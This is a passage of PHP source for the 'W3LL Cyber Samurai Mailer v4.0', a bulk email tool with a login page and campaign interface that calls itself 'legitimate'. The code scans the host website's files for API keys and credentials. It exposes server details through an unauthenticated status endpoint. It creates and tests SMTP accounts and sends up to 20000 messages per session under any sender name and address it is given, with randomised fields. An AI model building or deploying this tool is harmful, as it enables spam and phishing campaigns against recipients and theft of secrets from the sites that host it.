!== false) return $extracted; } $files = scandir($dir); foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if (is_dir($path)) { $extracted = array_merge_recursive($extracted, scanWebsiteForAPIs($path, $maxDepth, $currentDepth + 1)); } elseif (is_file($path) && is_readable($path) && filesize($path) < 1048576) { // Limit file size to 1MB $content = file_get_contents($path); foreach ($apiPatterns as $type => $pattern) { if (preg_match_all($pattern, $content, $matches)) { $extracted[$type] = array_unique(array_merge($extracted[$type] ?? [], $matches[0])); } } } } return $extracted; } // Handle AJAX requests if(isset($_GET['create_smtp']) && $_GET['create_smtp'] == '1') { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } if(!checkRateLimit()) { echo json_encode(array('success' => false, 'message' => 'Rate limit exceeded')); exit; } $method = isset($_GET['method']) ? $_GET['method'] : 'auto'; $result = createSMTPAccount($method); echo json_encode($result); exit; } // Get SMTP accounts if(isset($_GET['get_smtp_accounts']) && $_GET['get_smtp_accounts'] == '1') { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } $accounts = getAllSMTPAccounts(); echo json_encode(array('success' => true, 'accounts' => $accounts)); exit; } // Delete SMTP account if(isset($_GET['delete_smtp']) && !empty($_GET['id'])) { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } $id = $_GET['id']; $result = deleteSMTPAccount($id); echo json_encode(array('success' => $result, 'message' => $result ? 'Account deleted' : 'Account not found')); exit; } // Test SMTP account if(isset($_GET['test_smtp_account']) && !empty($_GET['id'])) { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } $id = $_GET['id']; $testEmail = isset($_GET['test_email']) ? $_GET['test_email'] : ''; $result = testSMTPAccount($id, $testEmail); echo json_encode($result); exit; } // SMTP Test endpoint with test email if (isset($_GET['test_smtp'])) { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } $host = isset($_GET['host']) ? $_GET['host'] : ''; $port = intval(isset($_GET['port']) ? $_GET['port'] : 587); $auth_username = isset($_GET['email']) ? $_GET['email'] : ''; $pass = isset($_GET['pass']) ? $_GET['pass'] : ''; $encryption = isset($_GET['encryption']) ? $_GET['encryption'] : 'tls'; $testEmail = isset($_GET['test_email']) ? $_GET['test_email'] : ''; $result = testSMTPConnection($host, $port, $auth_username, $pass, $encryption, $testEmail, $auth_username); echo json_encode($result); exit; } // Handle API Extractor (text-based) if (isset($_GET['extract_apis']) && $_GET['extract_apis'] == '1') { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } $text = isset($_POST['text']) ? $_POST['text'] : ''; if (empty($text)) { echo json_encode(array('success' => false, 'message' => 'No text provided for extraction')); exit; } global $apiPatterns; $extracted = array(); foreach ($apiPatterns as $type => $pattern) { preg_match_all($pattern, $text, $matches); if (!empty($matches[0])) { $extracted[$type] = array_unique($matches[0]); } } echo json_encode(array('success' => true, 'extracted' => $extracted)); exit; } // Handle Website Scan for APIs if (isset($_GET['scan_site']) && $_GET['scan_site'] == '1') { header('Content-Type: application/json'); if(!$authenticated) { echo json_encode(array('success' => false, 'message' => 'Authentication required')); exit; } $extracted = scanWebsiteForAPIs(__DIR__); $hasApis = !empty($extracted); echo json_encode(array('success' => true, 'extracted' => $extracted, 'has_apis' => $hasApis)); exit; } // Handle API health check if (isset($_GET['valid'])) { header('Content-Type: application/json'); $smtp_accounts = getAllSMTPAccounts(); $working_count = 0; $total_count = count($smtp_accounts); foreach ($smtp_accounts as $account) { if (isset($account['status']) && $account['status'] === 'active') { $working_count++; } } $healthCheck = array( 'status' => 'active', 'mailer' => 'w3ll_cyber_samurai_v4.0_legitimate', 'info' => true, 'smtp_factory' => true, 'smtp_accounts' => array( 'total' => $total_count, 'working' => $working_count, 'success_rate' => $total_count > 0 ? round(($working_count / $total_count) * 100, 2) : 0 ), 'delivery_test' => function_exists('mail') && (ini_get('sendmail_path') || ini_get('SMTP')), 'smtp_support' => function_exists('fsockopen') && function_exists('stream_socket_enable_crypto'), 'legitimate_creation' => true, 'checker_compatible' => true, 'w3ll_signature' => 'W3LL_CYBER_SAMURAI_LEGITIMATE_V4.0', 'last_check' => date('Y-m-d H:i:s'), 'response_time' => round(microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'], 3), 'server_info' => array( 'php_version' => phpversion(), 'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown', 'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'Unknown', 'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Unknown'), 'max_execution_time' => ini_get('max_execution_time'), 'memory_limit' => ini_get('memory_limit') ) ); echo json_encode($healthCheck, JSON_PRETTY_PRINT); exit; } // Process form $formData = array(); $results = array(); if ($_POST && $authenticated) { if (!checkRateLimit()) { $results['error'] = 'Rate limit exceeded. Please wait before sending more emails.'; } else { // Sanitize and validate form data $formData = array( 'senderEmail' => sanitizeEmail(isset($_POST['senderEmail']) ? $_POST['senderEmail'] : ''), 'senderName' => sanitizeInput(isset($_POST['senderName']) ? $_POST['senderName'] : ''), 'replyTo' => sanitizeEmail(isset($_POST['replyTo']) ? $_POST['replyTo'] : ''), 'subject' => sanitizeInput(isset($_POST['subject']) ? $_POST['subject'] : ''), 'emailList' => trim(isset($_POST['emailList']) ? $_POST['emailList'] : ''), 'messageType' => intval(isset($_POST['messageType']) ? $_POST['messageType'] : 1), 'messageLetter' => isset($_POST['messageLetter']) ? $_POST['messageLetter'] : '', 'useSmtp' => intval(isset($_POST['useSmtp']) ? $_POST['useSmtp'] : 0), 'smtpHost' => sanitizeInput(isset($_POST['smtpHost']) ? $_POST['smtpHost'] : ''), 'smtpPort' => intval(isset($_POST['smtpPort']) ? $_POST['smtpPort'] : 587), 'smtpAuthUsername' => sanitizeEmail(isset($_POST['smtpEmail']) ? $_POST['smtpEmail'] : ''), // Renamed for clarity 'smtpPassword' => isset($_POST['smtpPassword']) ? $_POST['smtpPassword'] : '', 'smtpEncryption' => sanitizeInput(isset($_POST['smtpEncryption']) ? $_POST['smtpEncryption'] : 'tls') ); // Validation $errors = array(); if (empty($formData['senderEmail'])) $errors[] = 'Sender email is required'; if (empty($formData['senderName'])) $errors[] = 'Sender name is required'; if (empty($formData['subject'])) $errors[] = 'Subject is required'; if (empty($formData['messageLetter'])) $errors[] = 'Message content is required'; if (empty($formData['emailList'])) $errors[] = 'Email list is required'; if ($formData['useSmtp']) { if (empty($formData['smtpHost'])) $errors[] = 'SMTP host is required'; if (empty($formData['smtpAuthUsername'])) $errors[] = 'SMTP username is required'; if (empty($formData['smtpPassword'])) $errors[] = 'SMTP password is required'; } if (!empty($errors)) { $results['errors'] = $errors; } else { // Process attachments $attachments = []; if (!empty($_FILES['attachments']['name'][0])) { foreach ($_FILES['attachments']['tmp_name'] as $key => $tmpName) { if ($_FILES['attachments']['error'][$key] === 0) { $attachments[] = [ 'path' => $tmpName, 'name' => $_FILES['attachments']['name'][$key], 'type' => $_FILES['attachments']['type'][$key] ]; } } } // Process email sending $emailList = array_filter(array_map('trim', explode("\n", str_replace("\r", "", $formData['emailList'])))); $totalEmails = count($emailList); $sentCount = 0; $failedCount = 0; $results['details'] = array(); // Set max based on method $maxEmails = $formData['useSmtp'] ? $config['smtp_max_emails'] : $config['server_max_emails']; // SMTP Configuration $smtpConfig = null; if ($formData['useSmtp']) { $smtpConfig = array( 'host' => $formData['smtpHost'], 'port' => $formData['smtpPort'], 'auth_username' => $formData['smtpAuthUsername'], 'password' => $formData['smtpPassword'], 'encryption' => $formData['smtpEncryption'] ); } // Send emails foreach ($emailList as $index => $email) { $email = sanitizeEmail($email); if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) { $results['details'][] = array( 'email' => $email, 'status' => 'invalid', 'message' => 'Invalid email format' ); $failedCount++; continue; } // Process variables $personalizedSubject = clearText($formData['subject'], $email); $personalizedMessage = clearText($formData['messageLetter'], $email); $personalizedSender = clearText($formData['senderEmail'], $email); $personalizedName = clearText($formData['senderName'], $email); $personalizedReply = clearText($formData['replyTo'] ? $formData['replyTo'] : $formData['senderEmail'], $email); $success = false; $errorMessage = ''; try { if ($formData['useSmtp'] && $smtpConfig) { $success = sendEmailSMTP($email, $personalizedSender, $personalizedName, $personalizedReply, $personalizedSubject, $personalizedMessage, $smtpConfig, $formData['messageType'] == 1, $attachments); } else { $success = sendEmailPHP($email, $personalizedSender, $personalizedName, $personalizedReply, $personalizedSubject, $personalizedMessage, $formData['messageType'] == 1, $attachments); } } catch (Exception $e) { $errorMessage = $e->getMessage(); } if ($success) { $results['details'][] = array( 'email' => $email, 'status' => 'sent', 'message' => 'Successfully sent' ); $sentCount++; } else { $results['details'][] = array( 'email' => $email, 'status' => 'failed', 'message' => $errorMessage ? $errorMessage : 'Failed to send' ); $failedCount++; } // Add delay between emails if ($config['delay_between_emails'] > 0) { usleep($config['delay_between_emails'] * 1000000); } // Break if max emails reached if ($sentCount >= $maxEmails) { break; } } $results['summary'] = array( 'total' => $totalEmails, 'sent' => $sentCount, 'failed' => $failedCount, 'success_rate' => $totalEmails > 0 ? round(($sentCount / $totalEmails) * 100, 2) : 0, 'method' => $formData['useSmtp'] ? 'SMTP' : 'PHP Mail', 'completed_at' => date('Y-m-d H:i:s') ); // Log the execution if ($config['enable_logging']) { $logEntry = date('Y-m-d H:i:s') . " - Email Campaign: Total=$totalEmails, Sent=$sentCount, Failed=$failedCount, Method=" . ($formData['useSmtp'] ? 'SMTP' : 'PHP') . ", IP=" . getClientIP() . "\n"; @file_put_contents($config['log_file'], $logEntry, FILE_APPEND | LOCK_EX); } } } } // Show login form if not authenticated if (!$authenticated) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>βοΈ W3LL Cyber Samurai Mailer v4.0 - Authentication</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <style> :root { --primary: #00ff88; --secondary: #ff0080; --tertiary: #0080ff; --dark: #0a0a0a; --card: #1a1a2e; --gold: #ffd700; --red: #ff3333; --text: #ffffff; --text-dim: #b0b0b0; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, var(--dark) 0%, #16213e 50%, var(--card) 100%); color: var(--text); min-height: 100vh; display: flex; align-items: center; justify-content: center; position: relative; overflow: hidden; } body::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grid" width="10" height="10" patternUnits="userSpaceOnUse"><path d="M 10 0 L 0 0 0 10" fill="none" stroke="%23ffffff" stroke-width="0.1" opacity="0.1"/></pattern></defs><rect width="100" height="100" fill="url(%23grid)"/></svg>'); z-index: -1; } .login-container { background: rgba(26, 26, 46, 0.9); backdrop-filter: blur(20px); border-radius: 20px; border: 2px solid rgba(0, 255, 136, 0.3); box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5); padding: 40px; max-width: 450px; width: 90%; text-align: center; position: relative; animation: slideUp 0.8s ease; } @keyframes slideUp { from { opacity: 0; transform: translateY(50px); } to { opacity: 1; transform: translateY(0); } } .logo { font-size: 2.5rem; font-weight: 700; background: linear-gradient(135deg, var(--primary), var(--tertiary)); -webkit-background-clip: text; -webkit-text-fill-color: transparent; margin-bottom: 10px; text-shadow: 0 0 30px rgba(0, 255, 136, 0.3); } .subtitle { color: var(--text-dim); margin-bottom: 30px; font-size: 1.1rem; font-weight: 300; } .japanese-text { color: var(--gold); font-size: 0.9rem; margin-bottom: 30px; opacity: 0.8; } .form-group { margin-bottom: 25px; text-align: left; } .form-label { display: block; margin-bottom: 8px; font-weight: 500; color: var(--primary); } .form-input { width: 100%; padding: 15px 20px; background: rgba(0, 0, 0, 0.4); border: 2px solid rgba(0, 255, 136, 0.3); border-radius: 12px; color: var(--text); font-size: 1rem; transition: all 0.3s ease; font-family: inherit; } .form-input:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 20px rgba(0, 255, 136, 0.2); background: rgba(0, 0, 0, 0.5); } .btn-login { width: 100%; padding: 15px; background: linear-gradient(135deg, var(--primary), var(--tertiary)); border: none; border-radius: 12px; color: var(--dark); font-size: 1.1rem; font-weight: 600; cursor: pointer; transition: all 0.3s ease; text-transform: uppercase; letter-spacing: 1px; } .btn-login:hover { transform: translateY(-2px); box-shadow: 0 10px 30px rgba(0, 255, 136, 0.4); } .error-message { background: rgba(255, 51, 51, 0.1); border: 1px solid var(--red); color: var(--red); padding: 15px; border-radius: 10px; margin-bottom: 20px; font-weight: 500; animation: shake 0.5s ease; } @keyframes shake { 0%, 100% { transform: translateX(0); } 25% { transform: translateX(-5px); } 75% { transform: translateX(5px); } } .footer-info { margin-top: 30px; padding-top: 20px; border-top: 1px solid rgba(0, 255, 136, 0.2); font-size: 0.9rem; color: var(--text-dim); } .social-links { margin-top: 15px; } .social-links a { color: var(--primary); text-decoration: none; margin: 0 10px; transition: color 0.3s ease; } .social-links a:hover { color: var(--gold); } .security-badge { display: inline-block; background: rgba(0, 255, 136, 0.1); border: 1px solid var(--primary); padding: 5px 15px; border-radius: 20px; font-size: 0.8rem; margin-top: 15px; color: var(--primary); } </style> </head> <body> <div class="login-container"> <div class="logo">βοΈ W3LL SAMURAI</div> <div class="subtitle">Cyber Mailer v4.0 - Legitimate SMTP Edition</div> <div class="japanese-text">γ΅γ€γγΌδΎ - ζ£η΅±γͺγ‘γΌγ«ι δΏ‘γ·γΉγγ </div> <?php if (isset($loginError)): ?> <div class="error-message"><?php echo $loginError; ?></div> <?php endif; ?> <form method="post"> <div class="form-group"> <label class="form-label">π Access Password</label> <input type="password" name="password" class="form-input" placeholder="Enter your access password" required> </div> <button type="submit" class="btn-login">π Access Mailer</button> </form> <div class="security-badge">π‘οΈ Secured with Advanced Authentication</div> <div class="footer-info"> <strong>W3LL Store Technology</strong><br> Professional Email Marketing Solutions <div class="social-links"> <a href="https://w3llstore.com" target="_blank">π Website</a> <a href="https://t.me/W3LLSTORE_ADMIN" target="_blank">π± Telegram</a> </div> </div> </div> </body> </html> <?php exit; } // Main application interface ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>βοΈ W3LL Cyber Samurai Mailer v4.0 - Legitimate SMTP Edition</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet"> <style> :root { --primary: #00ff88; --secondary: #ff0080; --tertiary: #0080ff; --dark: #0a0a0a; --card: #1a1a2e; --gold: #ffd700; --red: #ff3333; --text: #ffffff; --text-dim: #b0b0b0; --success: #00ff88; --warning: #ffaa00; --info: #0080ff; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, var(--dark) 0%, #16213e 50%, var(--card) 100%); color: var(--text); min-height: 100vh; position: relative; overflow-x: hidden; } body::before { content: ''; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grid" width="10" height="10" patternUnits="userSpaceOnUse"><path d="M 10 0 L 0 0 0 10" fill="none" stroke="%23ffffff" stroke-width="0.1" opacity="0.05"/></pattern></defs><rect width="100" height="100" fill="url(%23grid)"/></svg>'); z-index: -1; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } .header { background: rgba(26, 26, 46, 0.9); backdrop-filter: blur(20px); border-radius: 20px; border: 2px solid rgba(0, 255, 136, 0.3); padding: 30px; margin-bottom: 30px; text-align: center; position: relative; overflow: hidden; } .header::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: linear-gradient(45deg, transparent, rgba(0, 255, 136, 0.05), transparent); animation: rotate 10s linear infinite; } @keyframes rotate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .header-content { position: relative; z-index: 1; } .logo { font-size: 3rem; font-weight: 700; background: linear-gradient(135deg, var(--primary), var(--tertiary)); -webkit-background-clip: text; -webkit-text-fill-color: transparent; margin-bottom: 10px; text-shadow: 0 0 30px rgba(0, 255, 136, 0.3); } .subtitle { color: var(--text-dim); font-size: 1.2rem; margin-bottom: 15px; } .japanese-text { color: var(--gold); font-size: 1rem; margin-bottom: 20px; opacity: 0.8; } .stats-bar { display: flex; justify-content: space-around; flex-wrap: wrap; gap: 20px; margin-top: 20px; } .stat-item { text-align: center; padding: 15px; background: rgba(0, 0, 0, 0.3); border-radius: 10px; border: 1px solid rgba(0, 255, 136, 0.2); min-width: 120px; } .stat-number { font-size: 1.5rem; font-weight: 700; color: var(--primary); } .stat-label { font-size: 0.9rem; color: var(--text-dim); margin-top: 5px; } .main-content { display: grid; grid-template-columns: 1fr 400px; gap: 30px; margin-bottom: 30px; } @media (max-width: 1200px) { .main-content { grid-template-columns: 1fr; } } .card { background: rgba(26, 26, 46, 0.9); backdrop-filter: blur(20px); border-radius: 20px; border: 2px solid rgba(0, 255, 136, 0.3); padding: 30px; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3); } .card-header { display: flex; align-items: center; margin-bottom: 25px; padding-bottom: 15px; border-bottom: 1px solid rgba(0, 255, 136, 0.2); } .card-icon { font-size: 1.5rem; margin-right: 15px; color: var(--primary); } .card-title { font-size: 1.3rem; font-weight: 600; color: var(--text); } .form-group { margin-bottom: 20px; } .form-label { display: block; margin-bottom: 8px; font-weight: 500; color: var(--primary); font-size: 0.95rem; } .form-input, .form-select, .form-textarea { width: 100%; padding: 12px 16px; background: rgba(0, 0, 0, 0.4); border: 2px solid rgba(0, 255, 136, 0.3); border-radius: 10px; color: var(--text); font-size: 0.95rem; transition: all 0.3s ease; font-family: inherit; } .form-input:focus, .form-select:focus, .form-textarea:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 15px rgba(0, 255, 136, 0.2); background: rgba(0, 0, 0, 0.5); } .form-textarea { min-height: 120px; resize: vertical; font-family: 'Courier New', monospace; } .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 15px; } @media (max-width: 768px) { .form-row { grid-template-columns: 1fr; } } .btn { padding: 12px 24px; border: none; border-radius: 10px; font-size: 0.95rem; font-weight: 600; cursor: pointer; transition: all 0.3s ease; text-decoration: none; display: inline-flex; align-items: center; gap: 8px; text-align: center; justify-content: center; } .btn-primary { background: linear-gradient(135deg, var(--primary), var(--tertiary)); color: var(--dark); } .btn-secondary { background: linear-gradient(135deg, var(--secondary), var(--gold)); color: var(--text); } .btn-success { background: linear-gradient(135deg, var(--success), #00cc66); color: var(--dark); } .btn-warning { background: linear-gradient(135deg, var(--warning), #ff8800); color: var(--dark); } .btn-danger { background: linear-gradient(135deg, var(--red), #cc0000); color: var(--text); } .btn-info { background: linear-gradient(135deg, var(--info), #0066cc); color: var(--text); } .btn:hover { transform: translateY(-2px); box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3); } .btn:active { transform: translateY(0); } .btn-full { width: 100%; margin-top: 10px; } .smtp-section { margin-top: 20px; padding: 20px; background: rgba(0, 0, 0, 0.2); border-radius: 15px; border: 1px solid rgba(0, 255, 136, 0.2); } .smtp-toggle { display: flex; align-items: center; margin-bottom: 20px; } .toggle-switch { position: relative; width: 60px; height: 30px; margin-right: 15px; } .toggle-switch input { opacity: 0; width: 0; height: 0; } .toggle-slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(255, 255, 255, 0.2); transition: 0.3s; border-radius: 30px; } .toggle-slider:before { position: absolute; content: ""; height: 22px; width: 22px; left: 4px; bottom: 4px; background: white; transition: 0.3s; border-radius: 50%; } input:checked + .toggle-slider { background: var(--primary); } input:checked + .toggle-slider:before { transform: translateX(30px); } .smtp-fields { display: none; animation: fadeIn 0.3s ease; } .smtp-fields.active { display: block; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } } .alert { padding: 15px 20px; border-radius: 10px; margin-bottom: 20px; border-left: 4px solid; font-weight: 500; } .alert-success { background: rgba(0, 255, 136, 0.1); border-color: var(--success); color: var(--success); } .alert-error { background: rgba(255, 51, 51, 0.1); border-color: var(--red); color: var(--red); } .alert-warning { background: rgba(255, 170, 0, 0.1); border-color: var(--warning); color: var(--warning); } .alert-info { background: rgba(0, 128, 255, 0.1); border-color: var(--info); color: var(--info); } .results-container { margin-top: 30px; } .results-summary { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin-bottom: 20px; } .summary-card { background: rgba(0, 0, 0, 0.3); border-radius: 10px; padding: 20px; text-align: center; border: 1px solid rgba(0, 255, 136, 0.2); } .summary-number { font-size: 2rem; font-weight: 700; margin-bottom: 5px; } .summary-label { color: var(--text-dim); font-size: 0.9rem; } .results-table { background: rgba(0, 0, 0, 0.2); border-radius: 15px; overflow: hidden; border: 1px solid rgba(0, 255, 136, 0.2); } .table-header { background: rgba(0, 255, 136, 0.1); padding: 15px 20px; font-weight: 600; border-bottom: 1px solid rgba(0, 255, 136, 0.2); } .table-body { max-height: 400px; overflow-y: auto; } .table-row { display: grid; grid-template-columns: 2fr 1fr 3fr; padding: 12px 20px; border-bottom: 1px solid rgba(255, 255, 255, 0.1); align-items: center; } .table-row:hover { background: rgba(0, 255, 136, 0.05); } .status-badge { padding: 4px 12px; border-radius: 20px; font-size: 0.8rem; font-weight: 600; text-align: center; } .status-sent { background: rgba(0, 255, 136, 0.2); color: var(--success); } .status-failed { background: rgba(255, 51, 51, 0.2); color: var(--red); } .status-invalid { background: rgba(255, 170, 0, 0.2); color: var(--warning); } /* SMTP Creator Sidebar Styles */ .smtp-creator { position: sticky; top: 20px; height: fit-content; } .smtp-accounts-list { max-height: 400px; overflow-y: auto; margin-top: 20px; } .smtp-account-item { background: rgba(0, 0, 0, 0.3); border-radius: 10px; padding: 15px; margin-bottom: 15px; border: 1px solid rgba(0, 255, 136, 0.2); transition: all 0.3s ease; } .smtp-account-item:hover { border-color: var(--primary); background: rgba(0, 0, 0, 0.4); } .smtp-account-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 10px; } .smtp-account-email { font-weight: 600; color: var(--primary); font-size: 0.9rem; } .smtp-account-method { font-size: 0.8rem; color: var(--text-dim); background: rgba(0, 255, 136, 0.1); padding: 2px 8px; border-radius: 12px; } .smtp-account-details { font-size: 0.85rem; color: var(--text-dim); margin-bottom: 10px; } .smtp-account-actions { display: flex; gap: 8px; } .btn-small { padding: 6px 12px; font-size: 0.8rem; border-radius: 6px; } .loading { display: inline-block; width: 20px; height: 20px; border: 2px solid rgba(0, 255, 136, 0.3); border-radius: 50%; border-top-color: var(--primary); animation: spin 1s ease-in-out infinite; } @keyframes spin { to { transform: rotate(360deg); } } .footer { text-align: center; padding: 30px; color: var(--text-dim); font-size: 0.9rem; border-top: 1px solid rgba(0, 255, 136, 0.2); margin-top: 50px; } .footer-links { margin-top: 15px; } .footer-links a { color: var(--primary); text-decoration: none; margin: 0 15px; transition: color 0.3s ease; } .footer-links a:hover { color: var(--gold); } /* Responsive Design */ @media (max-width: 768px) { .container { padding: 15px; } .logo { font-size: 2rem; } .stats-bar { flex-direction: column; align-items: center; } .table-row { grid-template-columns: 1fr; gap: 5px; } .card { padding: 20px; } } /* Custom Scrollbar */ ::-webkit-scrollbar { width: 8px; } ::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.2); border-radius: 4px; } ::-webkit-scrollbar-thumb { background: var(--primary); border-radius: 4px; } ::-webkit-scrollbar-thumb:hover { background: var(--tertiary); } /* Tooltip Styles */ .tooltip { position: relative; display: inline-block; } .tooltip .tooltiptext { visibility: hidden; width: 200px; background-color: var(--card); color: var(--text); text-align: center; border-radius: 6px; padding: 8px; position: absolute; z-index: 1; bottom: 125%; left: 50%; margin-left: -100px; opacity: 0; transition: opacity 0.3s; font-size: 0.8rem; border: 1px solid var(--primary); } .tooltip:hover .tooltiptext { visibility: visible; opacity: 1; } </style> </head> <body> <div class="container"> <!-- Header Section --> <div class="header"> <div class="header-content"> <div class="logo">βοΈ W3LL CYBER SAMURAI</div> <div class="subtitle">Professional SMTP Mailer v4.0 - Legitimate Edition</div> <div class="japanese-text">γ΅γ€γγΌδΎ - ζ£η΅±γͺγ‘γΌγ«ι δΏ‘γ·γΉγγ </div> <div class="stats-bar"> <div class="stat-item"> <div class="stat-number" id="smtp-count">0</div> <div class="stat-label">SMTP Accounts</div> </div> <div class="stat-item"> <div class="stat-number">20000</div> <div class="stat-label">Max Emails/Session</div> </div> <div class="stat-item"> <div class="stat-number"><?php echo function_exists('mail') ? 'ON' : 'OFF'; ?></div> <div class="stat-label">PHP Mail</div> </div> <div class="stat-item"> <div class="stat-number"><?php echo getClientIP(); ?></div> <div class="stat-label">Your IP</div> </div> </div> <div style="margin-top: 20px;"> <a href="?logout=1" class="btn btn-danger btn-small"> <i class="fas fa-sign-out-alt"></i> Logout </a> </div> </div> </div> <div class="main-content"> <!-- Main Mailer Form --> <div class="card"> <div class="card-header"> <i class="fas fa-envelope card-icon"></i> <div class="card-title">Email Campaign Manager</div> </div> <?php if (!empty($results)): ?> <div class="results-container"> <?php if (isset($results['errors'])): ?> <div class="alert alert-error"> <i class="fas fa-exclamation-triangle"></i> <strong>Validation Errors:</strong> <ul style="margin-top: 10px; margin-left: 20px;"> <?php foreach ($results['errors'] as $error): ?> <li><?php echo htmlspecialchars($error); ?></li> <?php endforeach; ?> </ul> </div> <?php elseif (isset($results['summary'])): ?> <div class="alert alert-success"> <i class="fas fa-check-circle"></i> <strong>Campaign Completed!</strong> Sent <?php echo $results['summary']['sent']; ?> out of <?php echo $results['summary']['total']; ?> emails (<?php echo $results['summary']['success_rate']; ?>% success rate) </div> <div class="results-summary"> <div class="summary-card"> <div class="summary-number" style="color: var(--success);"><?php echo $results['summary']['sent']; ?></div> <div class="summary-label">Successfully Sent</div> </div> <div class="summary-card"> <div class="summary-number" style="color: var(--red);"><?php echo $results['summary']['failed']; ?></div> <div class="summary-label">Failed</div> </div> <div class="summary-card"> <div class="summary-number" style="color: var(--primary);"><?php echo $results['summary']['success_rate']; ?>%</div> <div class="summary-label">Success Rate</div> </div> <div class="summary-card"> <div class="summary-number" style="color: var(--info);"><?php echo $results['summary']['method']; ?></div> <div class="summary-label">Method Used</div> </div> </div> <?php if (!empty($results['details'])): ?> <div class="results-table"> <div class="table-header"> <i class="fas fa-list"></i> Detailed Results </div> <div class="table-body"> <?php foreach ($results['details'] as $detail): ?> <div class="table-row"> <div><?php echo htmlspecialchars($detail['email']); ?></div> <div> <span class="status-badge status-<?php echo $detail['status']; ?>"> <?php echo strtoupper($detail['status']); ?> </span> </div> <div style="font-size: 0.85rem; color: var(--text-dim);"> <?php echo htmlspecialchars($detail['message']); ?> </div> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> <?php endif; ?> </div> <?php endif; ?> <form method="post" id="mailerForm" enctype="multipart/form-data"> <!-- Sender Information --> <div class="form-group"> <label class="form-label"> <i class="fas fa-user"></i> Sender Name <span class="tooltip"> <i class="fas fa-info-circle" style="color: var(--info);"></i> <span class="tooltiptext">Use [-randomstring-], [-randomnumber-] for dynamic names</span> </span> </label> <input type="text" name="senderName" class="form-input" value="<?php echo htmlspecialchars(isset($formData['senderName']) ? $formData['senderName'] : 'W3LL Mailer'); ?>" placeholder="Your Name or Company Name" required> </div> <div class="form-row"> <div class="form-group"> <label class="form-label"> <i class="fas fa-envelope"></i> Sender Email <span class="tooltip"> <i class="fas fa-info-circle" style="color: var(--info);"></i> <span class="tooltiptext">Use [-email-] for random email generation</span> </span> </label> <input type="email" name="senderEmail" class="form-input" value="<?php echo htmlspecialchars(isset($formData['senderEmail']) ? $formData['senderEmail'] : ''); ?>" placeholder="sender@example.com" required> </div> <div class="form-group"> <label class="form-label"> <i class="fas fa-reply"></i> Reply-To Email </label> <input type="email" name="replyTo" class="form-input" value="<?php echo htmlspecialchars(isset($formData['replyTo']) ? $formData['replyTo'] : ''); ?>" placeholder="reply@example.com (optional)"> </div> </div> <!-- Email Subject --> <div class="form-group"> <label class="form-label"> <i class="fas fa-tag"></i> Email Subject <span class="tooltip"> <i class="fas fa-info-circle" style="color: var(--info);"></i> <span class="tooltiptext">Use [-email-], [-randomstring-], [-randomnumber-] for personalization</span> </span> </label> <input type="text" name="subject" class="form-input" value="<?php echo htmlspecialchars(isset($formData['subject']) ? $formData['subject'] : ''); ?>" placeholder="Your email subject here" required> </div> <!-- Email List --> <div class="form-group"> <label class="form-label"> <i class="fas fa-list"></i> Email List <span style="color: var(--text-dim); font-weight: normal;">(One email per line)</span> </label> <textarea name="emailList" class="form-textarea" rows="8" placeholder="email1@example.com email2@example.com email3@example.com" required><?php echo htmlspecialchars(isset($formData['emailList']) ? $formData['emailList'] : ''); ?></textarea> </div> <!-- Message Content --> <div class="form-group"> <label class="form-label"> <i class="fas fa-edit"></i> Message Content </label> <div class="form-row" style="margin-bottom: 10px;"> <div> <label style="display: flex; align-items: center; gap: 10px;"> <input type="radio" 